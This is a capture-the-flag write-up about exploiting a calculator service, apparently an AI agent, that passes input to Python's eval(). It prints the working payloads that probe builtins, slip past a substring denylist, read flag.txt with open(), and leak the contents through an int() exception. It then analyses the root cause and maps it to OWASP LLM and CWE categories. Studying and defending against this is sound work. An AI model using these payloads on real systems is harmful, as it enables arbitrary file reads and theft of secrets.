Skip to content

Bad Robot

FieldDetail
TrackAdvanced
ClassificationCode injection through unsafe evaluation

Flag obtained: flag-8d658f

The level was successfully compromised by abusing the application’s Python expression evaluator to read flag.txt.

The initial tests established that user-controlled input was being evaluated by the Python interpreter rather than being parsed as a restricted mathematical expression. The application exposed Python builtins, including open(), while attempting to restrict dangerous functionality using a substring denylist.

The flag could not be returned directly because the application rejected the resulting bytes object. However, Python’s exception handling provided an alternative output channel. Passing the file contents to int() caused Python to include the contents inside the resulting exception message.

Interpreter behavior:

Division by zero and int-plus-string errors from the calculator

Denylist behavior:

Builtin probes showing open is allowed and os is blocked

Flag recovered from exception:

int() exception leaking flag-8d658f

Completed level on the mothership dashboard:

Mothership dashboard showing Level 5 Bad Robot complete

The application presents itself as a mathematical calculation service. Testing demonstrated that submitted expressions are evaluated by Python, most likely through eval().

The exploitation process consisted of four stages:

  1. Confirm that the backend evaluates Python expressions.

  2. Determine which Python builtins are available.

  3. Identify the limitations of the substring denylist.

  4. Use open() to read flag.txt and leak the contents through an exception.

All prompts and corresponding application responses are documented below.

The first test used a simple division-by-zero expression.

Prompt:

1/0

Agent response:

Result: Error: division by zero
The expression could not be evaluated.

This established that the service was exposing Python-style evaluation errors.

A second test used an operation that is invalid in normal mathematical evaluation but valid Python syntax.

Prompt:

1 + 'a'

Agent response:

Result: Error: unsupported operand type(s) for +: 'int' and 'str'
The expression could not be evaluated.

The Python-specific TypeError confirmed that the submitted expression was being processed by the Python interpreter.

Conclusion: The target was not using a dedicated mathematical expression parser. User input was reaching a Python evaluation context.


The next step was to determine whether Python builtins were available.

Prompt:

len(dir(__builtins__))

Agent response:

Result: 159

The presence of a large builtin namespace indicated that the evaluation environment was not operating with a minimal arithmetic-only namespace.

The availability of open() was then tested directly.

Prompt:

'open' in dir(__builtins__)

Agent response:

Result: True

This confirmed that the file-reading primitive was available inside the expression evaluation environment.


The next test attempted to access Python’s import mechanism.

Prompt:

__import__('os') != None

Agent response:

❌ Expression contains prohibited values

The same behavior could be reproduced by testing the string os.

Prompt:

'os' in dir(__builtins__)

Agent response:

❌ Expression contains prohibited values

This demonstrated that the application was inspecting the submitted expression for prohibited substrings before evaluation.

The denylist blocked strings such as os and __import__, but open() remained available.

Conclusion: The application was relying on a source-level substring denylist rather than a genuine execution sandbox .


Since open() was available, the next step was to attempt a direct read of the flag file.

Prompt:

open('flag.txt', 'rb').read()

Agent response:

Result: Error: Output format not supported.

This response was significant because the application did not report a missing file or permission failure. Instead, it rejected the returned object.

The expression therefore appeared to have successfully produced a bytes object, but the application’s output formatter did not support displaying that object.

A different output channel was required.


2.5 Exfiltrate the file contents through an exception

Section titled “2.5 Exfiltrate the file contents through an exception”

Python exceptions can contain values involved in a failed operation. The file contents were therefore passed to int().

Prompt:

int(open('flag.txt', 'rb').read())

Agent response:

Result: Error: invalid literal for int() with base 10: b'flag-8d658f'
The expression could not be evaluated.

The exception message contained the complete contents of the file.

The flag was therefore recovered:

flag-8d658f

int() exception leaking flag-8d658f

  • Successful completion.

Mothership dashboard showing Level 5 Bad Robot complete

The primary vulnerability is the execution of attacker-controlled input inside a Python interpreter.

The service is intended to perform mathematical calculations. However, rather than parsing user input with a restricted mathematical grammar or a safe expression evaluator, it passes the supplied input into a general-purpose Python evaluation mechanism. As a result, the input is not limited to arithmetic operations and can access Python functionality beyond the application’s intended scope.

The application appears to evaluate user input using eval().

A mathematical expression such as:

1 + 2

does not require access to Python’s general-purpose runtime.

However, the evaluation environment exposed:

__builtins__

and consequently provided functionality such as:

open()

This transformed a calculator feature into an interface capable of interacting with the underlying filesystem.

The application attempted to prevent exploitation through a substring denylist.

The observed behavior showed that strings such as:

os
__import__

were rejected.

This is not an effective security boundary because it attempts to identify dangerous behavior by looking for particular strings.

A denylist cannot reliably restrict Python’s execution capabilities. Even if particular modules or functions are blocked, other available objects and language features may provide equivalent functionality.

More importantly, the presence of open() demonstrates that the evaluator already had capabilities that should never have been available to a mathematical expression.

The evaluation context exposed a large Python builtin namespace.

The following test returned:

159

for:

len(dir(__builtins__))

The presence of open() was explicitly confirmed.

A calculator should not require filesystem access, imports, process interaction, or other general-purpose Python capabilities.

The application’s execution context therefore violated the principle of least privilege.

The application rejected the direct bytes result:

Output format not supported.

However, evaluation exceptions were returned to the user.

This created a second information disclosure channel.

The expression:

int(open('flag.txt', 'rb').read())

caused Python to generate an exception containing the file contents. The application returned that exception to the user without sanitizing it.

Consequently, the application protected the intended output path while leaving the error path capable of disclosing the same sensitive information.

The vulnerability exists because the application combines:

  1. General-purpose Python evaluation.

  2. Attacker-controlled expressions.

  3. Access to Python builtins.

  4. Filesystem access through open().

  5. A blacklist-based restriction mechanism.

  6. Unsanitized evaluation errors returned to the user.

The denylist did not create a sandbox. It only removed a small number of strings from an otherwise privileged Python execution environment.

Severity: Critical

An attacker able to submit expressions to the service can potentially access resources available to the Python process rather than being limited to mathematical calculations.

The demonstrated exploit allowed arbitrary local file contents to be read.

The proof of concept successfully accessed:

flag.txt

The same primitive could potentially expose other files readable by the service account, including application source code, configuration files, credentials, tokens, secrets, and environment-specific data.

If the evaluator exposes additional dangerous Python capabilities, an attacker could potentially manipulate files or other application resources accessible to the process.

Arbitrary expression execution can also create resource-intensive operations, depending on the available Python runtime and process restrictions.

The demonstrated attack directly proves arbitrary file read, not full operating-system command execution.

However, the underlying design is substantially more dangerous than a simple file disclosure because user input is being evaluated as Python code.

If the runtime exposes suitable Python objects, modules, or primitives, the same evaluation context may potentially be escalated from file access to broader code execution.

Therefore, the security boundary should be considered compromised at the interpreter level rather than treating this solely as a flag.txt disclosure.

CategoryRelevance
LLM06: Excessive AgencyThe calculation capability has access to filesystem functionality that is unnecessary for its intended purpose.
LLM02: Sensitive Information DisclosureSensitive file contents were returned through an exception message.
LLM05: Improper Output HandlingEvaluation errors were returned to the user without adequate sanitization, creating an unintended data-exfiltration channel.
LLM07: System Prompt LeakageNot directly applicable to the demonstrated exploit.
CWEClassificationRelevance
CWE-94Improper Control of Generation of CodeAttacker-controlled input is interpreted as executable Python code.
CWE-95Improper Neutralization of Directives in Dynamically Evaluated CodeUser input is passed into a dynamic evaluation mechanism.
CWE-209Generation of Error Message Containing Sensitive InformationException output disclosed the contents of flag.txt.
CWE-200Exposure of Sensitive Information to an Unauthorized ActorFile contents were disclosed to the attacker.
CWE-693Protection Mechanism FailureThe substring denylist failed to provide an effective security boundary.

Code Injection through unsafe dynamic evaluation

The fundamental security issue is not the specific payload used to retrieve the flag. The underlying problem is that a feature intended to perform mathematical calculations provides access to a general-purpose Python execution environment.

The substring denylist and output formatter only partially obscure that capability. They do not remove the underlying execution primitive.